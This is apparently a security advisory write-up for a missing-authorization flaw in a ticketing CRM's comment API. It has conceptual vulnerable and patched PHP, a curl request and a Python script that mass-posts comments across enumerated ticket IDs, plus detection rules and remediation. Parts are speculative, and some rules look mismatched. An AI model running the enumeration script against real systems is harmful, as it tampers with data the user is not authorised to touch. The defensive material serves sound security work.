CVE-2025-63293

Executive Summary

CVE-2025-63293 is an Insecure Permissions vulnerability in FairSketch Rise Ultimate Project Manager & CRM version 3.9.4. A remote authenticated user can append comments or upload attachments to tickets for which they lack view or edit authorization, due to missing authorization checks in the ticketing/commenting API. This allows an attacker with a low-privileged account to interact with tickets they should not have access to, potentially leaking sensitive information or disrupting workflows. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and the limited impact (unauthorized modification, not data exfiltration). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – actual severity assessed as 4.3 Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized comments/attachments)
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authentication but is trivial once authenticated. No patch available.

Deep Dive & Mechanics

The vulnerability resides in the ticketing/commenting API endpoints of Rise Ultimate Project Manager & CRM. The application fails to enforce proper authorization checks when a user attempts to add a comment or upload an attachment to a ticket. The API likely uses a simple ticket_id parameter without verifying that the authenticated user is a participant or has the necessary permissions for that specific ticket.

Root Cause: Missing server-side authorization checks in the API handler for POST /api/tickets/{id}/comments or similar endpoints. The application relies on client-side UI restrictions, which are bypassable.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., a regular employee).
2. Attacker enumerates or guesses ticket IDs (e.g., sequential integers).
3. Attacker sends a POST request to the comment/attachment endpoint with a ticket ID they do not own.
4. The server accepts the request and stores the comment/attachment, associating it with the ticket.

Impact:

• Data Pollution: Attacker can inject misleading comments or malicious attachments into tickets.
• Workflow Disruption: Comments may confuse support staff or alter ticket status.
• Information Leakage (Indirect): If the system sends notifications to ticket participants, the attacker may infer ticket existence or participants.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// Vulnerable endpoint: /api/tickets/{id}/comments
public function addComment(Request $request, $ticketId) {
    $ticket = Ticket::find($ticketId);
    if (!$ticket) {
        return response()->json(['error' => 'Ticket not found'], 404);
    }
    // Missing authorization check
    $comment = new Comment();
    $comment->ticket_id = $ticketId;
    $comment->user_id = Auth::id();
    $comment->body = $request->input('body');
    $comment->save();
    return response()->json(['success' => true]);
}

Patched Code (Conceptual):

// Patched endpoint
public function addComment(Request $request, $ticketId) {
    $ticket = Ticket::find($ticketId);
    if (!$ticket) {
        return response()->json(['error' => 'Ticket not found'], 404);
    }
    // Authorization check
    if (!$ticket->participants()->where('user_id', Auth::id())->exists()) {
        return response()->json(['error' => 'Unauthorized'], 403);
    }
    $comment = new Comment();
    $comment->ticket_id = $ticketId;
    $comment->user_id = Auth::id();
    $comment->body = $request->input('body');
    $comment->save();
    return response()->json(['success' => true]);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user account on the Rise instance.
• Network access to the application.

Exploitation Steps:

1. Authenticate and obtain a session token (e.g., Bearer token or cookie).
2. Enumerate ticket IDs by observing patterns (e.g., sequential integers from 1 to 1000).
3. For each ticket ID, send a POST request to add a comment:

   curl -X POST https://target.com/api/tickets/42/comments \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     -d '{"body": "This ticket has been compromised."}'
   

4. Verify success by checking if the comment appears in the ticket (if accessible) or by monitoring server responses (HTTP 200 vs 403).

Automation Script (Python):

import requests

target = "https://target.com"
token = "your_token_here"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

for ticket_id in range(1, 1001):
    data = {"body": "Pwned by Red Team"}
    r = requests.post(f"{target}/api/tickets/{ticket_id}/comments", headers=headers, json=data)
    if r.status_code == 200:
        print(f"Ticket {ticket_id} vulnerable")

Blue Team

Detection:

• Monitor API logs for POST requests to /api/tickets/*/comments from users who are not participants of the ticket.
• Alert on high volumes of comment creation from a single user in a short time.
• Review ticket comments for anomalous content (e.g., "Pwned", "compromised").

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| rex field=uri_path "/api/tickets/(?<ticket_id>\d+)/comments"
| search method=POST
| lookup ticket_participants.csv ticket_id OUTPUT user_id
| where user_id != auth_user
| stats count by src_ip, auth_user, ticket_id

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/tickets/*/comments with unusual frequency.
  • Requests from users not associated with the ticket.
• Host:
  • Log entries showing 403 Forbidden followed by 200 OK for the same ticket ID (if attacker switches to valid tickets).
  • Database entries in comments table with user_id not in ticket_participants table.
• File:
  • Unexpected attachments in tickets (e.g., files with suspicious names or content).

Detection Engineering

YARA Rule

rule Detect_Rise_Comment_Injection {
    meta:
        description = "Detects unauthorized comment injection in Rise Ultimate Project Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63293"
    strings:
        $s1 = "/api/tickets/" nocase
        $s2 = "/comments" nocase
        $s3 = "POST" nocase
    condition:
        all of them
}

Sigma Rule

title: Unauthorized Ticket Comment Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to ticket comment API from unauthorized users
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/api/tickets/'
        cs-uri-stem|contains: '/comments'
    condition: selection
falsepositives:
    - Legitimate users adding comments to tickets they are assigned to
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-63293 - Unauthorized Ticket Comment Injection";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/tickets/";
    http_uri;
    content:"/comments";
    http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable API Endpoints: If possible, temporarily disable the comment/attachment API endpoints until a patch is applied.
2. Web Application Firewall (WAF): Create rules to block POST requests to /api/tickets/*/comments from users not in the ticket's participant list (requires integration with application logic).
3. Rate Limiting: Implement strict rate limiting on the comment API to slow down enumeration.

Long-Term Fix:

• Patch: Apply server-side authorization checks in all API endpoints that handle ticket data. Verify that the authenticated user is a participant or has explicit permission.
• Code Review: Audit all API endpoints for missing authorization checks, especially those that accept ticket_id as a parameter.
• Penetration Testing: Conduct regular security assessments focusing on business logic flaws.

Workaround:

• Manually review and remove unauthorized comments/attachments from affected tickets.
• Educate users to report suspicious comments.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert